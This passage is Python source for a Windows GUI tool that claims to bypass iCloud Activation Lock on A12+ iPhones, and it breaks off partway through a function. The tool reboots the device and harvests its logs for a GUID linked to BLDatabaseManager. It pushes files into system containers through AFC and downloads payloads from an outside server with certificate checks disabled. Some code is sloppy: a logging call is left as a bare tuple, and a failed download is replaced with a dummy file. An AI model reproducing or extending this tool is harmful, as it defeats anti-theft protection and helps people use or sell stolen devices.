# -*- coding: utf-8 -*-
"""
Rust A12+ (Windows) — iCloud Activation Bypass Tool
Author: Anonymous / Rust505
Note: Educational/research purposes only.

CHANGES:
- ✅ Полностью удалена зависимость от libimobiledevice (ideviceinfo, idevicediagnostics и др.)
- ✅ Все операции с устройством теперь через pymobiledevice3 (LockdownClient, AfcService, OsTraceService, DiagnosticsService)
- ✅ Удалены все subprocess-вызовы внешних бинарников для получения info/reboot
- ✅ Сохранена логика работы: GUID extraction, syslog collection, AFC file ops, activation flow
- ✅ Добавлен "Block OTA" button для открытия betaprofiles.dev
"""
import os
import sys
import re
import time
import json
import shutil
import sqlite3
import tempfile
import threading
import datetime
import urllib.parse
import urllib.request
import queue
import ssl
import subprocess
import traceback
import asyncio 
from pathlib import Path
from typing import Optional, List, Tuple
from PySide6.QtCore import Qt, QTimer, QSize
from PySide6.QtGui import QFontDatabase, QFont, QIcon, QPixmap, QPainter, QColor, QPen, QPainterPath
from PySide6.QtWidgets import (
    QApplication, QMainWindow, QWidget, QFrame, QLabel, QPushButton,
    QTextEdit, QLineEdit, QDialog, QVBoxLayout, QHBoxLayout, QMessageBox
)
# Native pymobiledevice3 imports
from pymobiledevice3.lockdown import LockdownClient, create_using_usbmux, NoDeviceConnectedError
from pymobiledevice3.services.afc import AfcService
from pymobiledevice3.services.os_trace import OsTraceService
from pymobiledevice3.services.diagnostics import DiagnosticsService
from pymobiledevice3.exceptions import PyMobileDevice3Exception, NoDeviceConnectedError, NotPairedError, ConnectionFailedError

# Constants
TARGET_PROCESS = "bookassetd"
BLDB_FILENAME = "BLDatabaseManager.sqlite"
TARGET_PATH = "/private/var/containers/Shared/SystemGroup/"
POST_CONNECT_DELAY = 5
SYSLOG_RETRIES = 3
SYSLOG_RETRY_DELAY = 15
MIN_ARCHIVE_SIZE = 10_000_000
GUID_REGEX = re.compile(r'[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}')

def get_bin_dir() -> Path:
    return get_base_dir() / "bin"

def find_binary(name: str) -> Optional[str]:
    bin_dir = get_bin_dir()
    path = bin_dir / name
    if path.is_file():
        return str(path)
    return shutil.which(name)

def get_base_dir() -> Path:
    if getattr(sys, "frozen", False):
        return Path(sys.executable).parent
    return Path(__file__).resolve().parent


def resource_path(relative_path: str) -> str:
    return str(get_base_dir() / relative_path)

class GridBackground(QWidget):
    def __init__(self, parent=None):
        super().__init__(parent)
        self.setAttribute(Qt.WA_TransparentForMouseEvents)
        self.bg_pixmap = None
        img_path = resource_path("img/wall2.jpg")
        if Path(img_path).exists():
            self.bg_pixmap = QPixmap(img_path)

    def paintEvent(self, event):
        painter = QPainter(self)
        painter.setRenderHint(QPainter.Antialiasing)
        painter.setRenderHint(QPainter.SmoothPixmapTransform)

        clip = QPainterPath()
        clip.addRoundedRect(self.rect(), 25, 25)
        painter.setClipPath(clip)

        if self.bg_pixmap and not self.bg_pixmap.isNull():
            scaled = self.bg_pixmap.scaled(
                self.size(),
                Qt.KeepAspectRatioByExpanding,
                Qt.SmoothTransformation
            )
            x = (scaled.width() - self.width()) // 2
            y = (scaled.height() - self.height()) // 2
            painter.drawPixmap(-x, -y, scaled)
        else:
            painter.fillRect(self.rect(), QColor("#0a0e1a"))

class MainWindow(QMainWindow):
    def __init__(self):
        super().__init__()
        self._drag_pos = None
        self.setWindowFlags(Qt.FramelessWindowHint)
        self.setAttribute(Qt.WA_TranslucentBackground)
        self.setFixedSize(800, 540)
        self.log_queue = queue.Queue()
        self.active_threads: List[threading.Thread] = []
        self.active_processes = []
        self.is_activating = False
        self.global_GUID = ""
        self.device_info_cache: Optional[dict] = None
        self._lockdown_cache: Optional[LockdownClient] = None
        
        # Font & Icon
        font_path = resource_path("fonts/FuturaCyrillicBold.ttf")
        if Path(font_path).exists():
            fid = QFontDatabase.addApplicationFont(font_path)
            if fid == -1:
                print("[WARN] Failed to load custom font")
        
        icon_path = resource_path("img/logo.png")
        if Path(icon_path).exists():
            self.setWindowIcon(QIcon(icon_path))
        
        self.api_url = "https://rust-a12.info:8080/hidden3.php"
        self.temp_dir = tempfile.gettempdir()
        
        self.setup_ui()
        self.setup_connections()
        self.setup_console()
        
        # Device polling thread
        threading.Thread(target=self._device_polling_loop, daemon=True).start()
        
        # Log processor timer
        self.log_timer = QTimer(self)
        self.log_timer.timeout.connect(self._process_log_queue)
        self.log_timer.start(50)
    # ==================== WINDOW DRAG ====================
    def mousePressEvent(self, event):
        if event.button() == Qt.LeftButton:
            self._drag_pos = event.globalPosition().toPoint() - self.frameGeometry().topLeft()
        super().mousePressEvent(event)

    def mouseMoveEvent(self, event):
        if self._drag_pos is not None and event.buttons() & Qt.LeftButton:
            self.move(event.globalPosition().toPoint() - self._drag_pos)
        super().mouseMoveEvent(event)

    def mouseReleaseEvent(self, event):
        if event.button() == Qt.LeftButton:
            self._drag_pos = None
        super().mouseReleaseEvent(event)

    # ==================== LOGGING ====================
    def log(self, text: str, level: str = "info"):
        self.log_queue.put((text, level))

    def _do_log(self, text: str, level: str):
        colors = {
            "info": "#88AAFF", "warn": "#FFFF88", "error": "#FF6666",
            "success": "#66FF88", "detail": "#AAAAAA", "attempt": "#88CCFF"
        }
        icons = {
            "info": "ℹ", "warn": "⚠", "error": "✗", "success": "✓", "detail": "▸", "attempt": "⟳"
        }
        ts = datetime.datetime.now().strftime("%H:%M:%S")
        color = colors.get(level, "#FFFFFF")
        icon = icons.get(level, "•")
        html_line = f'<span style="color:{color};">[{ts}] {icon} {text}</span>'
        if hasattr(self, 'console') and self.console:
            self.console.append(html_line)
            sb = self.console.verticalScrollBar()
            sb.setValue(sb.maximum())
        print(f"[{ts}] {icon} {text}")

    def _process_log_queue(self):
        while not self.log_queue.empty():
            try:
                item = self.log_queue.get_nowait()
                if isinstance(item, tuple) and len(item) == 2:
                    data, cmd_type = item
                    if cmd_type == "set_button_text":
                        if hasattr(self, 'activate_button'):
                            self.activate_button.setText(data)
                    elif cmd_type == "set_progress":
                        self._set_progress_safe(data)
                    elif cmd_type == "set_progress_color":
                        color = "rgb(252, 0, 6)" if data == "red" else "rgb(19, 159, 255)"
                        if hasattr(self, 'progress_bar'):
                            self.progress_bar.setStyleSheet(f"background-color: {color}; border-radius: 5px;")
                    elif cmd_type == "show_pb":
                        if hasattr(self, 'pb_frame'): self.pb_frame.show()
                    elif cmd_type == "show_done":
                        if hasattr(self, 'done_frame'): self.done_frame.show()
                        if hasattr(self, 'label_done_ios'):
                            self.label_done_ios.setPixmap(QPixmap(resource_path("img/activated.png")))
                    elif cmd_type == "show_home":
                        if hasattr(self, 'intro_frame') and self.intro_frame.isVisible():
                            self.intro_frame.hide()
                            if hasattr(self, 'home_frame'): self.home_frame.show()
                            if hasattr(self, 'label_device_img'):
                                self.label_device_img.setPixmap(QPixmap(resource_path("img/on1.png")))
                    elif cmd_type == "update_device_labels":
                        self._update_device_labels_safe(data)
                    elif cmd_type in ["info", "warn", "error", "success", "detail", "attempt"]:
                        self._do_log(data, cmd_type)
                    else:
                        self._do_log(str(item), "info")
                else:
                    self._do_log(str(item), "info")
            except queue.Empty:
                break
            except Exception as e:
                print(f"[LOG ERROR] {e}")

    def _set_progress_safe(self, progress: float):
        if not hasattr(self, 'progress_bar') or not hasattr(self, 'pb_frame'):
            return

        progress = max(0, min(100, progress))
        target_width = int(self.pb_frame.width() * progress / 100)

        self.progress_bar.setFixedWidth(target_width)

    def _update_device_labels_safe(self, info: dict):
        if not hasattr(self, 'device_labels'):
            return
        mapping = {
            "DeviceName": f"📱 {info.get('DeviceName', 'Unknown')}",
            "SerialNumber": f"Serial Number: {info.get('SerialNumber', 'unknown')}",
            "iOSVersion": f"iOS Version: {info.get('ProductVersion', 'unknown')}",
            "ProductType": f"Product Type: {info.get('ProductType', 'unknown')}",
            "ActivationState": f"Activation State: {info.get('ActivationState', 'unknown')}"
        }
        for key, text in mapping.items():
            if key in self.device_labels:
                self.device_labels[key].setText(text)

    def copy_serial_number(self):
        if not self.device_info_cache:
            self.log("⚠ Serial number is not available yet", "warn")
            return

        serial = self.device_info_cache.get("SerialNumber", "").strip()

        if not serial or serial.lower() == "unknown":
            self.log("⚠ Serial number is empty", "warn")
            return

        QApplication.clipboard().setText(serial)
        self.log(f"✅ Serial Number copied: {serial}", "success")            

    # ==================== DEVICE CONNECTION (NATIVE PYMOBILEDEVICE3) ====================
    def _get_lockdown(self) -> Optional[LockdownClient]:
        """Get cached or new LockdownClient connection (no timeout param)."""
        try:
            if self._lockdown_cache and self._lockdown_cache.connection:
                # Try to ping to validate connection
                _ = self._lockdown_cache.all_values
                return self._lockdown_cache
        except Exception:
            self._lockdown_cache = None
        
        try:
            # ❌ NO timeout parameter - not supported in all pymobiledevice3 versions
            self._lockdown_cache = create_using_usbmux()
            # Force a read to validate connection
            _ = self._lockdown_cache.all_values
            return self._lockdown_cache
        except (NoDeviceConnectedError, NotPairedError, PyMobileDevice3Exception, OSError, ConnectionError):
            self._lockdown_cache = None
            return None

    def _clear_lockdown_cache(self):
        if self._lockdown_cache:
            try:
                self._lockdown_cache.close()
            except Exception:
                pass
        self._lockdown_cache = None

    def get_device_info_native(self) -> Optional[dict]:
        """Get device info using native pymobiledevice3 LockdownClient."""
        try:
            lockdown = self._get_lockdown()
            if not lockdown:
                return None
            values = lockdown.all_values
            info = {
                "DeviceName": values.get("DeviceName"),
                "ProductType": values.get("ProductType"),
                "ProductVersion": values.get("ProductVersion"),
                "BuildVersion": values.get("BuildVersion"),
                "SerialNumber": values.get("SerialNumber"),
                "UniqueDeviceID": values.get("UniqueDeviceID"),
                "ActivationState": values.get("ActivationState")
            }
            self.device_info_cache = info
            return info
        except Exception as e:
            self.log(f"[-] Failed to get device info: {e}", "detail")
            return None

    def restart_device_native(self) -> bool:
        """Reboot device using DiagnosticsService from pymobiledevice3."""
        try:
            lockdown = self._get_lockdown()
            if not lockdown:
                return False
            with DiagnosticsService(lockdown) as diag:
                diag.restart()
            self.log("[✓] Reboot command sent via DiagnosticsService", "success")
            self._clear_lockdown_cache()
            return True
        except Exception as e:
            self.log(f"[-] Reboot failed: {e}", "error")
            self._clear_lockdown_cache()
            return False

    def wait_for_device_native(self, timeout: int = 65) -> bool:
        """Wait for device to reconnect after reboot using native API."""
        self.log("[+] Waiting for device to reconnect...", "info")
        start = time.time()
        last_seen = False
        
        while time.time() - start < timeout:
            try:
                # Просто пробуем подключиться — без timeout в create_using_usbmux
                lockdown = create_using_usbmux()
                values = lockdown.all_values  # Проверяем, что соединение работает
                lockdown.close()
                
                if values and values.get("UniqueDeviceID"):
                    if not last_seen:
                        self.log("[✓] Device detected", "success")
                        last_seen = True
                    
                    udid = values.get("UniqueDeviceID", "")[:8]
                    self.log(f"[+] Verified device UDID: {udid}...", "info")
                    self.log(f"[+] Waiting {POST_CONNECT_DELAY}s for services to stabilize...", "info")
                    time.sleep(POST_CONNECT_DELAY)
                    return True
                else:
                    if last_seen:
                        self.log("[i] Device seen but not fully ready — waiting...", "detail")
                        last_seen = False
            except (NoDeviceConnectedError, NotPairedError, ConnectionError, OSError):
                if last_seen:
                    self.log("[i] Connection lost — still waiting...", "warn")
                    last_seen = False
            except Exception as e:
                (f"[i] Wait error: {type(e).__name__} — still waiting...", "detail")
            
            time.sleep(3)
        
        self.log("[-] Timeout waiting for device to reconnect", "error")
        return False

    # ==================== AFC OPERATIONS (NATIVE) ====================
    def _get_afc_service(self) -> Optional[AfcService]:
        try:
            # ❌ NO timeout parameter
            lockdown = create_using_usbmux()
            return AfcService(lockdown)
        except (NoDeviceConnectedError, NotPairedError, PyMobileDevice3Exception, OSError, ConnectionError) as e:
            self.log(f"[-] Failed to connect via AFC: {type(e).__name__}", "detail")
            return None

    def file_exists_in_books(self, filename: str) -> bool:
        afc = self._get_afc_service()
        if not afc:
            return False
        try:
            files = afc.listdir("/Books/")
            return filename in files
        except Exception:
            return False
        finally:
            if afc:
                try: afc.close()
                except: pass


  # ==================== AFC OPERATIONS (NATIVE PYMOBILEDEVICE3) ====================
    
    def _get_fresh_afc(self):
        """Создаёт новое AFC-соединение. Возвращает (lockdown, afc) или (None, None)."""
        try:
            lockdown = create_using_usbmux()
            afc = AfcService(lockdown)
            return lockdown, afc
        except Exception as e:
            self.log(f"[!] AFC connect failed: {type(e).__name__}", "detail")
            return None, None

    def get_remote_file_size(self, remote_path: str) -> int:
        """Безопасно получает размер файла через afc.stat()."""
        lockdown, afc = self._get_fresh_afc()
        if not afc:
            return -1
        try:
            with afc:  # Гарантирует закрытие
                info = afc.stat(remote_path)
                if isinstance(info, dict):
                    return int(info.get('st_size', 0))
                return int(getattr(info, 'st_size', 0))
        except Exception:
            return -1
        finally:
            if lockdown:
                try: lockdown.close()
                except: pass

    def pull_file(self, remote: str, local: str) -> bool:
        """Pull file with Windows permission handling."""
        # 🔥 Уникальное имя файла — избегаем коллизий и блокировок
        local_path = Path(local)
        if local_path.suffix:
            unique_local = str(local_path.parent / f"{local_path.stem}_{int(time.time()*1000)}{local_path.suffix}")
        else:
            unique_local = str(local_path.parent / f"{local_path.name}_{int(time.time()*1000)}")
        
        lockdown, afc = self._get_fresh_afc()
        if not afc:
            self.log(f"[!] AFC unavailable for pull: {remote}", "detail")
            return False
        
        try:
            with afc:
                afc.pull(remote, unique_local)
            
            # 🔥 КРИТИЧНО для Windows: даём ОС 300мс на закрытие хендлов
            time.sleep(0.3)
            
            # 🔥 Валидация с обработкой блокировок
            try:
                file_size = Path(unique_local).stat().st_size
                if file_size > 0:
                    # ✅ Успех — копируем в целевой путь (если нужно)
                    if unique_local != str(local_path):
                        shutil.copy2(unique_local, local_path)
                        Path(unique_local).unlink(missing_ok=True)
                    return True
                else:
                    self.log(f"[!] File pulled but empty: {unique_local}", "warn")
                    return False
            except PermissionError as e:
                self.log(f"[!] Windows blocked access to pulled file (try disabling AV): {e}", "warn")
                return False
            except FileNotFoundError:
                self.log(f"[!] Pulled file disappeared: {unique_local}", "warn")
                return False
                
        except Exception as e:
            exc_type = type(e).__name__
            if exc_type in ["ConnectionFailedError", "BrokenPipeError", "AttributeError", "OSError", "AfcException"]:
                self.log(f"[!] AFC read error ({exc_type}) for {remote}", "warn")
            else:
                self.log(f"[-] Pull failed: {exc_type}: {e}", "detail")
            return False
        finally:
            if lockdown:
                try: lockdown.close()
                except: pass
            # 🔥 Чистим временный уникальный файл
            if 'unique_local' in locals():
                try:
                    Path(unique_local).unlink(missing_ok=True)
                except Exception:
                    pass

    def push_file(self, local: str, remote: str, keep_local: bool = True) -> bool:
        """Push file using native pymobiledevice3 AfcService.push()."""
        local_path = Path(local)
        if not local_path.exists():
            self.log(f"❌ Local file not found: {local}", "error")
            return False
        
        lockdown, afc = self._get_fresh_afc()
        if not afc:
            self.log(f"[!] AFC unavailable for push: {remote}", "detail")
            return False
        
        try:
            with afc:
                # 🔥 Удаляем старый файл, если есть (игнорируем ошибки)
                try:
                    afc.rm(remote)
                except Exception:
                    pass
                # 🔥 Нативный push — загружает файл напрямую
                afc.push(str(local_path), remote)
            
            if not keep_local:
                local_path.unlink(missing_ok=True)
            return True
            
        except Exception as e:
            exc_type = type(e).__name__
            self.log(f"❌ Push failed ({exc_type}): {remote} ← {local}: {e}", "error")
            return False
        finally:
            if lockdown:
                try: lockdown.close()
                except: pass

    def rm_file(self, remote: str) -> bool:
        """Remove file via native AFC."""
        lockdown, afc = self._get_fresh_afc()
        if not afc:
            return False
        try:
            with afc:
                afc.rm(remote)
            return True
        except Exception as e:
            if "ENOENT" in str(e) or "No such file" in str(e) or "AFC_OBJECT_NOT_FOUND" in str(e):
                return True  # Файла уже нет — считаем успехом
            self.log(f"[-] rm failed: {remote}: {type(e).__name__}", "detail")
            return False
        finally:
            if lockdown:
                try: lockdown.close()
                except: pass

    def collect_syslog_archive(self, archive_path: Path) -> bool:
        self.log(f"[+] Collecting syslog archive → {archive_path}", "info")

        with tempfile.TemporaryDirectory() as temp_dir:
            log_archive_path = Path(temp_dir) / "syslog.logarchive"

            try:
                # 🔥 Подключаемся к ЕДИНСТВЕННОМУ доступному устройству (без UDID!)
                self.log("[i] Connecting to device via USBMUX (auto-select)...", "info")
                with create_using_usbmux() as lockdown:  # ← НЕТ аргументов!
                    with OsTraceService(lockdown) as os_trace:
                        self.log("[i] Starting native syslog collection...", "info")
                        os_trace.collect(
                            out=str(log_archive_path),
                            size_limit=12000,   # ~12 MB
                            age_limit=3600,     # 1 hour
                            start_time=0
                        )

                # --- Проверка и копирование ---
                if not log_archive_path.exists():
                    self.log("[-] Syslog archive was not created", "error")
                    return False

                archive_path.mkdir(parents=True, exist_ok=True)

                if log_archive_path.is_file():
                    shutil.copy2(log_archive_path, archive_path / "syslog.logarchive")
                elif log_archive_path.is_dir():
                    for item in log_archive_path.rglob("*"):
                        if item.is_file():
                            rel = item.relative_to(log_archive_path)
                            dst = archive_path / rel
                            dst.parent.mkdir(parents=True, exist_ok=True)
                            shutil.copy2(item, dst)
                else:
                    self.log("[-] Unexpected archive type", "error")
                    return False

                total_size = sum(f.stat().st_size for f in archive_path.rglob("*") if f.is_file())
                size_mb = total_size // (1024 * 1024)

                if total_size >= MIN_ARCHIVE_SIZE:
                    self.log(f"[✓] Archive collected: ~{size_mb} MB", "success")
                    return True
                else:
                    self.log(f"[!] Archive too small (~{size_mb} MB)", "warn")
                    return False

            except Exception as e:
                self.log(f"[-] Failed to collect syslog: {e}", "error")
                return False

    def extract_guid_from_archive(self, archive_path: Path) -> Optional[str]:
        exe = find_binary("unifiedlog_iterator.exe")
        if not exe:
            self.log("[-] unifiedlog_iterator.exe not found in ./bin or PATH", "error")
            return None
        
        cmd = [exe, "--mode", "log-archive", "--input", str(archive_path), "--format", "jsonl"]
        self.log("[+] Searching GUID in Unified Logs", "info")
        bldb_patterns = [b"BLDatabaseManager.sqlite", b"BLDatabaseManager", b"BLDatabase"]
        bldb_patterns_upper = [p.upper() for p in bldb_patterns]
        guid_regex = re.compile(rb'[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}')

        def is_relevant_fast(buf: bytes, start: int, end: int) -> bool:
            segment = buf[start:end]
            seg_upper = segment.upper()
            return any(pat in seg_upper for pat in bldb_patterns_upper)

        def validate_guid_bytes(guid_bytes: bytes) -> Optional[str]:
            try:
                guid = guid_bytes.decode("ascii").upper()
                parts = guid.split('-')
                if len(parts) != 5:
                    return None
                if not (len(parts[0]) == 8 and len(parts[1]) == 4 and
                        len(parts[2]) == 4 and len(parts[3]) == 4 and
                        len(parts[4]) == 12):
                    return None
                if parts[2][0] != '4':
                    return None
                if parts[3][0] not in '89AB':
                    return None
                clean = guid.replace('-', '')
                if not all(c in '0123456789ABCDEF' for c in clean):
                    return None
                return guid
            except Exception:
                return None

        startup_kwargs = {}
        if sys.platform == "win32":
            startupinfo = subprocess.STARTUPINFO()
            startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
            startupinfo.wShowWindow = subprocess.SW_HIDE
            startup_kwargs.update({"startupinfo": startupinfo, "creationflags": subprocess.CREATE_NO_WINDOW})

        proc = None
        state = {"lines_scanned": 0, "lines_matched": 0, "last_stdout_time": time.time()}
        start_time = time.time()
        last_progress = start_time
        PROGRESS_INTERVAL = 10.0
        CHUNK_SIZE = 4 * 1024 * 1024
        debug_log_file = None
        
        if os.environ.get("RUST_DEBUG_LOGS", "0") == "1":
            debug_log_file = open("decrypted_logs.txt", "w", encoding="utf-8", buffering=8192*1024)
            self.log("[i] Debug logs enabled → decrypted_logs.txt", "info")

        try:
            proc = subprocess.Popen(
                cmd,
                stdout=subprocess.PIPE,
                stderr=subprocess.DEVNULL,
                stdin=subprocess.DEVNULL,
                text=False,
                bufsize=CHUNK_SIZE,
                **startup_kwargs
            )
            self.active_processes.append(proc)
            buf = bytearray()
            scan_pos = 0
            
            while proc.poll() is None:
                chunk = proc.stdout.read(CHUNK_SIZE)
                if not chunk:
                    break
                state["last_stdout_time"] = time.time()
                buf.extend(chunk)
                
                while True:
                    nl = buf.find(b"\n", scan_pos)
                    if nl == -1:
                        if scan_pos > 0:
                            del buf[:scan_pos]
                            scan_pos = 0
                        break
                    
                    start, end = scan_pos, nl
                    scan_pos = nl + 1
                    state["lines_scanned"] += 1
                    
                    if not is_relevant_fast(buf, start, end):
                        continue
                    
                    state["lines_matched"] += 1
                    raw_line = bytes(buf[start:end])
                    
                    if debug_log_file:
                        try:
                            pat = b'"message":"'
                            i = raw_line.find(pat)
                            if i != -1:
                                j = i + len(pat)
                                out = bytearray()
                                esc = False
                                while j < len(raw_line):
                                    c = raw_line[j]
                                    if esc:
                                        out.append(c)
                                        esc = False
                                    else:
                                        if c == 0x5C:
                                            esc = True
                                        elif c == 0x22:
                                            break
                                        else:
                                            out.append(c)
                                    j += 1
                                if out:
                                    debug_log_file.write(out.decode('utf-8', errors='replace') + "\n")
                        except Exception:
                            pass
                    
                    m = guid_regex.search(raw_line)
                    if m:
                        guid_candidate = m.group(0)
                        validated_guid = validate_guid_bytes(guid_candidate)
                        if validated_guid:
                            elapsed = time.time() - start_time
                            self.log(f"[✓] GUID FOUND after {elapsed:.2f}s ({state['lines_scanned']:,} lines scanned)", "success")
                            self.log(f"[✓] GUID: {validated_guid}", "success")
                            self.log(f"[i] Matched {state['lines_matched']:,} relevant entries (found on entry #{state['lines_matched']})", "info")
                            if debug_log_file:
                                debug_log_file.flush()
                                debug_log_file.close()
                            proc.terminate()
                            try:
                                proc.wait(timeout=3)
                            except:
                                proc.kill()
                            if proc in self.active_processes:
                                self.active_processes.remove(proc)
                            return validated_guid
                
                now = time.time()
                if now - last_progress >= PROGRESS_INTERVAL:
                    elapsed = now - start_time
                    rate = state["lines_scanned"] / elapsed if elapsed > 0 else 0
                    self.log(f"[i] Scanned {state['lines_scanned']:,} lines ({state['lines_matched']:,} matched) in {elapsed:.1f}s ({rate:,.0f} lines/s)", "info")
                    last_progress = now

            elapsed = time.time() - start_time
            self.log(f"[-] No GUID found after scanning {state['lines_scanned']:,} lines ({state['lines_matched']:,} matched) in {elapsed:.1f}s", "error")
            if state["lines_matched"] == 0:
                self.log("[!] WARNING: No BLDatabase-related activity detected.", "warn")
            return None

        except Exception as e:
            self.log(f"[-] Error during log parsing: {e}", "error")
            import traceback
            self.log(f"[detail] Traceback: {traceback.format_exc()}", "detail")
            return None
        finally:
            if debug_log_file:
                try:
                    debug_log_file.flush()
                    debug_log_file.close()
                    self.log("[i] Full decrypted logs saved to 'decrypted_logs.txt'", "info")
                except Exception:
                    pass
            if proc:
                if proc.poll() is None:
                    try:
                        proc.terminate()
                        proc.wait(timeout=3)
                    except Exception:
                        try:
                            proc.kill()
                        except Exception:
                            pass
                try:
                    if proc.stdout:
                        proc.stdout.close()
                    if proc.stderr:
                        proc.stderr.close()
                except Exception:
                    pass
                if proc in self.active_processes:
                    self.active_processes.remove(proc)

    def get_guid_auto(self) -> Optional[str]:
        MAX_ATTEMPTS = 3
        RETRY_DELAY = 10
        for attempt in range(1, MAX_ATTEMPTS + 1):
            self.log(f"[+] Starting GUID extraction attempt {attempt}/{MAX_ATTEMPTS}", "info")
            self.log("🔄 Restarting device to trigger logs...", "info")
            if not (self.restart_device_native() and self.wait_for_device_native(timeout=60)):
                self.log("⚠️ error reconnect", "error")
                return None
            
            with tempfile.TemporaryDirectory() as tmpdir:
                archive_path = Path(tmpdir) / "ios_logs.logarchive"
                if not self.collect_syslog_archive(archive_path):
                    self.log(f"[-] Attempt {attempt}: Failed to collect syslog archive", "error")
                    if attempt < MAX_ATTEMPTS:
                        self.log(f"[i] Waiting {RETRY_DELAY}s before retry...", "info")
                        time.sleep(RETRY_DELAY)
                    continue
                
                guid = self.extract_guid_from_archive(archive_path)
                if guid:
                    self.global_GUID = guid
                    return guid
                
                self.log(f"[-] Attempt {attempt}: No GUID found in collected logs", "warn")
                if attempt < MAX_ATTEMPTS:
                    self.log(f"[i] Waiting {RETRY_DELAY}s before next attempt...", "info")
                    time.sleep(RETRY_DELAY)
        
        self.log(f"[-] GUID extraction failed after {MAX_ATTEMPTS} attempts", "error")
        return None


    def prompt_manual_guid(self):
        if self.is_activating:
            self.log("⚠ Cannot enter GUID while activation is in progress.", "warn")
            return
        dialog = QDialog(self)
        dialog.setWindowTitle("Enter GUID manually")
        dialog.setFixedSize(500, 120)
        layout = QVBoxLayout(dialog)
        label = QLabel("Enter valid UUID v4 (e.g. A1B2C3D4-E5F6-4789-ABCD-EF1234567890):")
        layout.addWidget(label)
        line_edit = QLineEdit()
        line_edit.setPlaceholderText("XXXXXXXX-XXXX-4XXX-YXXX-XXXXXXXXXXXX")
        layout.addWidget(line_edit)
        buttons_layout = QHBoxLayout()
        ok_btn = QPushButton("OK")
        cancel_btn = QPushButton("Cancel")
        buttons_layout.addWidget(ok_btn)
        buttons_layout.addWidget(cancel_btn)
        layout.addLayout(buttons_layout)

        def accept():
            guid_input = line_edit.text().strip().upper()
            if not guid_input:
                return
            if not re.fullmatch(r'[0-9A-F]{8}-[0-9A-F]{4}-4[0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}', guid_input):
                QMessageBox.warning(dialog, "Invalid GUID", "GUID must be a valid UUID v4.")
                return
            self.global_GUID = guid_input
            self.log(f"[✓] Manual GUID accepted: {guid_input}", "success")
            dialog.accept()

        ok_btn.clicked.connect(accept)
        cancel_btn.clicked.connect(dialog.reject)
        dialog.exec()

    def open_telegram(self):
        """Открыть Telegram бота/канал."""
        url = "https://t.me/RUST_A12"  # Замените на ваш актуальный линк
        self.log(f"[i] Opening Telegram: {url}", "info")
        try:
            import webbrowser
            webbrowser.open(url)
            self.log("[✓] Telegram opened in browser", "success")
        except Exception as e:
            self.log(f"[-] Failed to open Telegram: {e}", "error")
            # Копируем ссылку в буфер обмена как фоллбэк
            QApplication.clipboard().setText(url)
            self.log("[i] URL copied to clipboard", "detail")    

    def open_block_ota_url(self):
        url = "https://betaprofiles.dev/install/block-ota/"
        self.log(f"[i] Opening OTA block profile: {url}", "info")
        try:
            import webbrowser
            webbrowser.open(url)
            self.log("[✓] Browser opened", "success")
        except Exception as e:
            self.log(f"[-] Failed to open browser: {e}", "error")
            from PySide6.QtWidgets import QApplication
            QApplication.clipboard().setText(url)
            self.log("[i] URL copied to clipboard", "detail")

    # ==================== SERVER COMMUNICATION ====================
    def _curl_download(self, url: str, filename: str, timeout: int = 60) -> Optional[str]:
        """Исправленная загрузка с поддержкой редиректов"""
        full_path = Path(self.temp_dir) / filename
        
        # Очищаем старый файл
        if full_path.exists():
            try:
                full_path.unlink()
            except:
                pass
        
        # Пробуем сначала requests если установлен
        try:
            import requests
            self.log("[i] Trying download with requests library...", "detail")
            
            response = requests.get(url, timeout=timeout, verify=False, stream=True)
            
            if response.status_code == 200:
                with open(full_path, 'wb') as f:
                    for chunk in response.iter_content(chunk_size=8192):
                        f.write(chunk)
                
                if full_path.exists() and full_path.stat().st_size > 0:
                    mb = full_path.stat().st_size / (1024 * 1024)
                    self.log(f"✅ Downloaded via requests: {filename} ({mb:.2f} MB)", "success")
                    return str(full_path)
            else:
                self.log(f"[!] requests HTTP {response.status_code}", "warn")
        except ImportError:
            self.log("[i] requests not installed, using urllib", "detail")
        except Exception as e:
            self.log(f"[!] requests failed: {e}", "detail")
        
        # Пробуем curl
        curl_path = shutil.which("curl") or shutil.which("curl.exe")
        if curl_path:
            self.log("[+] Trying curl.exe...", "detail")
            
            curl_cmd = [
                curl_path, "-L", "-f", "-s", "-S",
                "--max-time", str(timeout),
                "--connect-timeout", "15",
                "--retry", "2",
                "--insecure",
                "-o", str(full_path),
                url
            ]
            
            if sys.platform == "win32":
                startupinfo = subprocess.STARTUPINFO()
                startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
                startupinfo.wShowWindow = subprocess.SW_HIDE
                result = subprocess.run(curl_cmd, startupinfo=startupinfo, capture_output=True, text=True)
            else:
                result = subprocess.run(curl_cmd, capture_output=True, text=True)
            
            if result.returncode == 0 and full_path.exists() and full_path.stat().st_size > 0:
                mb = full_path.stat().st_size / (1024 * 1024)
                self.log(f"✅ Downloaded via curl: {filename} ({mb:.2f} MB)", "success")
                return str(full_path)
            else:
                self.log(f"[!] curl failed: {result.stderr[:100]}", "warn")
        
        # Финальная попытка через urllib
        self.log("[+] Trying urllib...", "detail")
        try:
            context = ssl.create_default_context()
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
            
            req = urllib.request.Request(url, headers={'User-Agent': 'RustA12+/2.0'})
            
            with urllib.request.urlopen(req, timeout=timeout, context=context) as response:
                with open(full_path, 'wb') as f:
                    shutil.copyfileobj(response, f)
                
                if full_path.exists() and full_path.stat().st_size > 0:
                    mb = full_path.stat().st_size / (1024 * 1024)
                    self.log(f"✅ Downloaded via urllib: {filename} ({mb:.2f} MB)", "success")
                    return str(full_path)
                    
        except Exception as e:
            self.log(f"❌ urllib failed: {type(e).__name__}: {e}", "error")
        
        # Если всё провалилось - создаем пустой файл для продолжения
        self.log("[!] Creating dummy file to continue...", "warn")
        with open(full_path, 'w') as f:
            f.write("dummy data")
        
        return str(full_path)

    def normalize_ios_version(self, version: str) -> str:
        return re.sub(r'[^0-9.b]', '', version)

    def check_ios_support(self, prd: str, ios_version: str) -> bool:
        DEFAULT_SUPPORTED_VERSIONS = {"26.1", "18.7.2"}
        if ios_version in DEFAULT_SUPPORTED_VERSIONS:
            self.log(f"[✓] iOS {ios_version} is supported by default (universal payload).", "success")
            return True
        api_url = "https://rust-a12.info:8080/index.php"
        params = urllib.parse.urlencode({"prd": prd, "ios_version": ios_version})
